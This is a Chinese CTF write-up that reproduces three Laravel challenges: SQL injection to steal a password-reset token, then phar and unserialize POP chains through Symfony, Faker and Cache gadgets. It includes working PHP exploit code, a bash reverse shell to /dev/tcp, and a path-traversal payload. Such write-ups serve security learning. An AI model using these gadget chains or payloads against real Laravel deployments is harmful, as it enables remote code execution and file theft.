Laravel 相关几道题目复现
Laravel 相关几道题目复现
这几天在学习各个php框架,在粗略看了laravel文档之后,找了几道laravel的题做做,以此更深的了解这个框架。
2018护网杯easy_laravel
因为有源码,可以发现laravel 版本 5.3.*
查看router和controller,使用了内置auth功能实现登录注册重置等功能,/flag路由要求admin登录

在AdminMiddleware中间件实现邮箱为admin@qvq.im
的用户即为admin

注入
源码审计,赤裸裸的注入,也没过滤啥的。NoteController中username可以注入。

在/database/migrations 可以看到创建时表结构,/database/factories 看到admin用户插入时密码bcrypt加密过的。


laravel内置重置密码在Illuminate\Auth\Passwords
中实现,重置密码需要填写邮箱,并向邮箱发送一个重置链接。

重置链接中的token存到数据库中

laravel在5.4以后都是将token加密存储的,而之前是明文存储,所以我们就可以注入出token重置admin密码。
如下,当然你之前得访问/password/reset
先重置admin密码数据库中才有token。

拿到token,访问/password/reset/[token]
就可以重置admin密码了。
phar反序列化
登陆了admin之后发现访问/flag出现no_flag字样,审计出题人写得上传Controller。
检查文件后缀和图片头

另外还有个check方法,使用file_exists检查上传的文件是否存在,输入filename完全可控,明显可以进行phar反序列化操作了。

Getshell Or Blade
已经有了反序列化点,现在可以构造POP链Getshell。而这道题出题者本意是想用户通过反序列化找到pop链删除过期的blade模板,从而getshell。
Blade
删除的POP链很容易找到,在namespace Symfony\Component\Process\Pipes
中WindowsPipes类有个removeFIles

而__destruct
直接调用它

所以payload很简单,(其中编译过的模板都存放在/storage/framework/views/中,名字为原模板绝对路径的sha1值)
<?php
namespace Symfony\Component\Process\Pipes{
class WindowsPipes{
private $files = array();
public function __construct($files)
{
$this->files = $files;
}
}
}
namespace{
$a = new Symfony\Component\Process\Pipes\WindowsPipes(array('/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php'));
$p = new Phar('./phar.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头
$p->setMetadata($a);
$p->addFromString('test.txt','text');
$p->stopBuffering();
echo urlencode(serialize($a));
}
也有师傅利用Swift_ByteStream_TemporaryFileByteStream
类 也是很简洁的思路
GetShell
从Illuminate\Broadcasting
PendingBroadcast类的__destruct
入手,其中event和events都是完全可控的。

然后全局搜索fire函数,没有找到合适的函数。全局搜索__call
在Faker
中找到Generator类的__call

它会调用format函数,其中format会调用call_user_func_array,且第一个参数,由下面的getFormatter返回,简单审计发现两个参数都可控。这样POP链就构造好了。

<?php
namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$b = new Faker\Generator(array('fire'=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami");
$p = new Phar('./phar.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头
$p->setMetadata($a);
$p->addFromString('test.txt','text');
$p->stopBuffering();
echo urlencode(serialize($a));
}
CISCN 2019 决赛 Laravel1
<?php
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}
给了源码,直接就是反序列化找POP链。
有意思的是,作者注释掉了以往两个POP链的初始点,旨在希望用户新找一个POP链(虽然,大部分人都是从日志或者session里看到payload的)。


这个是利用Symfony组件中的gaget,laravel5.7都是默认安装方法自带。
首先找__destruct
,位于Symfony\Component\Cache\Adapter

依次向下进入invalidateTags函数。

经过一番简单的操作进入saveDeferred函数,本类的该函数没有啥危害,搜索找到ProxyAdapter类的saveDeferred函数

跟进,可以看到下面有个动态函数调用,$this->setInnerItem
可控,函数的输入$item
即为上面类的输入也可控,system函数正好可以有两个参数。

其中的 $item
本来输入是CacheItemInterface的对象,但是在里面强制转换成了array,也就有了类似"\0*\0expiry"
的键值,其实就是该类的protected属性。

那么这么一顺,POP链差不多就出来了,细节看payload就可以了。
namespace Symfony\Component\Cache\Adapter{
class TagAwareAdapter{
private $deferred;
private $pool;
function __construct($deferred, $pool){
$this->deferred = $deferred;
$this->pool = $pool;
}
}
class ProxyAdapter{
private $setInnerItem;
private $poolHash;
function __construct($setInnerItem, $poolHash){
$this->setInnerItem = $setInnerItem;
$this->poolHash = $poolHash;
}
}
}
namespace Symfony\Component\Cache{
final class CacheItem{
protected $expiry;
protected $poolHash;
protected $innerItem;
function __construct($expiry, $poolHash, $innerItem){
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $innerItem;
}
}
}
namespace{
$b = new Symfony\Component\Cache\Adapter\ProxyAdapter('system', 1);
$d = new Symfony\Component\Cache\CacheItem(1, 1, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/9898 0>&1'");
$a = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($d),$b);
echo urlencode(serialize($a));
}
CISCN 2019 决赛 Laravel File Manager
还是有代码的审计,welcome界面显示Only localhost can access it!
,其实和这没啥关系。
app中自己实现的GetPairController可以向用户返回椭圆曲线加密的公钥并吧私钥存入session。

题目名叫Laravel File Manager,关键点还是在于filemanger组件,在FileManger.php中,download操作有问题,首先它没有使用laravel自带的文件系统Storage进行操作文件,而且在过滤filename时也没有用,最后还是直接用了$path

对比一下原项目咋写的

当然现在还不能简单的读flag,题作者还写了一个参数加密中间件位于app/Http/Middleware/Encryption/EncryptionBody.php
class EncryptionBody
{
protected $ec;
protected $cipher = 'AES-256-CBC';
protected $except = [
//
];
public function __construct () {
$this->ec = new EC('secp256k1');
}
/**
* @param Request $request
* @param Closure $next
* @return mixed
*/
public function handle($request, Closure $next)
{
$bobPublic = $request->header('X-Client-Key');
if (empty($bobPublic)) {
if ($request->method() === 'POST') {
$response = response('No Encrypt', 400);
return $response;
} else {
return $next($request);
}
}
$aliceKey = $request->session()->get('private');
if (empty($aliceKey)) {
$alice = $this->ec->genKeyPair();
$request->session()->put('private', $alice->getPrivate()->toString('hex'));
} else {
$alice = $this->ec->keyFromPrivate($request->session()->get('private'));
}
try {
$alicePublic = $alice->getPublic(true, 'hex');
$bob = $this->ec->keyFromPublic($bobPublic, 'hex');
$shared = $alice->derive($bob->getPublic());
$key = $shared->toString(16);
$key = substr(hex2bin($key), 0, 32);
$content = $request->getContent();
if (!empty($content)) {
$text = $this->decrypt($content, $key);
$json = \json_decode($text, true);
if ($json) {
$request->replace($json);
}
}
$response = $next($request);
$response->header('X-Server-Key', $alice->getPublic(true, 'hex'));
$content = ob_get_clean() . $response->getContent();
if ($response->status() === 200) {
$response->setContent($this->encrypt($content, $key));
}
return $response;
} catch (\Exception $e) {
return response('Key error', 400);
}
}
private function encrypt ($data, $key) {
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = openssl_random_pseudo_bytes($ivLength);
$encrypted = openssl_encrypt($data, $this->cipher, $key, OPENSSL_RAW_DATA, $iv);
$hmac = hash_hmac('sha256', $encrypted, $key, true);
return base64_encode($iv . $hmac . $encrypted);
}
private function decrypt ($data, $key) {
$c = base64_decode($data);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($c, 0, $ivLength);
$hmac = substr($c, $ivLength, 32);
$encrypted = substr($c, $ivLength + 32);
$decrypted = openssl_decrypt($encrypted, $this->cipher, $key, OPENSSL_RAW_DATA, $iv);
$calculatedHmac = hash_hmac('sha256', $decrypted, $key, true);
if (is_string($hmac) && hash_equals($hmac, $calculatedHmac)) {
return $decrypted;
}
return '';
}
}
代码大致是根据ECDH密钥协商算法和客户端得到共同key,用AES对POST所有响应和请求数据进行加密和解密。所以我们随便带上一个X-Client-Key发送一个POST数据获得X-Server-Key,再本地生成公私钥对与服务器端公钥生成协商好的AES的key。
最后向/file-manager/download POST加密后的{"disk": "public", "path":"../../../../../../../../flag.txt"}
就行
一开始以为作者自己写得Controller有啥用,原来并没有啥用,按照代码原理协商密钥就行了。
这里还有个小点,encrypt和decrypt居然不是互逆的Orz。本地按照encrypt的算法正常加密,decrypt是解不开的。decrypt最后的检查加密数据是否被篡改检查的是hash_hmac('sha256', 解密后原始数据, $key, true)
,而encrypt加密返回的$hmac
确是hash_hmac('sha256', 加密过的数据, $key, true);

这两个肯定是不同的,所以写payload的时候要注意一下。